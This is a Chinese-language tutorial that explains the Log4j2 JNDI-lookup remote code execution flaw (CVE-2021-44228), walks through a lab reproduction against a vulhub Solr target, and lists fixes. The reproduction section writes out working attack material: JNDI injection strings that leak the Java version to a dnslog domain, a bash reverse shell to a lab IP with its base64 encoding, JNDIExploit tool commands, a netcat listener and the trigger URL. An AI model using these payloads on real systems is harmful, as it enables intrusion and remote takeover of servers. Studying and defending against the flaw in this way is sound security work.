log4j2原理分析及漏洞复现- CVE-2021-44228
字数 1648 2025-08-10 08:28:21
Log4j2漏洞原理分析与复现教学文档
1. Log4j2简介
Log4j2是Java应用程序的日志记录框架,是Log4j的升级版本,在性能、可靠性和灵活性方面有显著改进。
主要特点
- 高性能:使用异步日志记录机制,高负载下仍保持出色性能
- 灵活配置:支持XML、JSON或YAML格式配置文件
- 多种输出目标:控制台、文件、数据库、远程套接字、JMS、Apache Flume等
- 过滤器和路由:可根据级别、源、线程等条件过滤和路由日志
- 插件架构:按需加载各种附加组件和扩展功能
- 上下文容器:ThreadContext和ContextMap用于多线程环境日志跟踪
使用Log4j2的常见系统
- Apache系列:Tomcat、Kafka、ActiveMQ、Solr、Druid等
- 大数据框架:Hadoop、Spark、Flink、Storm
- 开发框架:Spring、Hibernate、Camel
- 企业应用:Alfresco、JIRA、Jenkins、SonarQube等
2. CVE-2021-44228漏洞详解
漏洞基本信息
- 漏洞类型:远程代码执行(RCE)
- 影响版本:2.0 <= Apache log4j2 <= 2.14.1
- 报告时间:2021年11月24日由阿里云安全团队报告
漏洞原理
Log4j2提供的lookup功能中的Jndi Lookup模块存在问题,允许通过特定协议请求远程资源。当开发者未对用户输入进行过滤时,攻击者可构造恶意请求触发远程代码执行。
关键机制分析
-
Lookup功能:动态获取和替换日志记录中的变量值
- 常见Lookup类型:
${date:MM-dd-yyyy}:日期${sys:user.dir}:系统属性${env:JAVA_HOME}:环境变量${jndi:ldap://xxx}:JNDI查找
- 常见Lookup类型:
-
JNDI解析器:
- 通过JDK获取JNDI对象并替换原文本
- 支持的schema:corbname、dns、iiop、iiopname、ldap、ldaps、rmi
- 工作机制:从指定URL下载字节流并反序列化为Java对象执行
-
攻击入口:
- Web服务通常记录用户输入(如访问URL、参数等)
- 攻击者可在输入中插入恶意JNDI查找表达式
相关技术概念
- JNDI(Java命名和目录接口):提供目录系统,将服务名称与对象关联
- LDAP(轻型目录访问协议):分布式目录信息访问协议
- RMI(远程方法调用):Java虚拟机间的对象方法调用机制
3. 漏洞复现指南
环境准备
- 靶机:Kali (192.168.100.134)运行vulhub/log4j/CVE-2021-44228
- 攻击机:Windows 10 (192.168.100.143)
- 工具:
- 新版:JNDIExploit (v1.4)
- 旧版:JNDI-Injection-Exploit (v1.0)
复现步骤
1. DNS回显验证
/solr/admin/cores?action=${jndi:ldap://vbdpkn.ceye.io}
检查DNSlog平台是否收到请求
2. 获取Java版本信息
${jndi:ldap://${sys:java.version}.vbdpkn.ceye.io}
${jndi:rmi://${sys:java.version}.vbdpkn.ceye.io}
3. 准备反弹Shell命令
原始命令:
bash -i >& /dev/tcp/192.168.100.143/8888 0>&1
Base64编码后:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx
4. 使用JNDIExploit工具
旧版工具命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.100.143"
新版工具使用:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1
选择LDAP服务构造Payload:
ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/8888
5. 开启监听
nc -lvvp 8888
6. 触发漏洞
访问URL:
http://192.168.100.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.143:1389/isimox}
4. 漏洞修复方案
- 升级Log4j2:更新至安全版本(rc2或更高)
- 网络防护:
- 配置防火墙策略,禁止主动外连
- 限制LDAP/RMI服务访问
- 应用加固:
- 过滤日志中的关键词(如
${jndi://*}) - 限制JNDI可使用的协议
- 限制可通过LDAP访问的服务器和类
- 过滤日志中的关键词(如
- 组件更新:升级所有受影响的应用及组件
5. 总结
Log4j2漏洞(CVE-2021-44228)是一个影响广泛的远程代码执行漏洞,其核心问题在于JNDI查找功能的不安全实现。通过深入理解其原理和复现过程,安全人员可以更好地防御此类漏洞,开发者也能在编码时避免类似安全问题。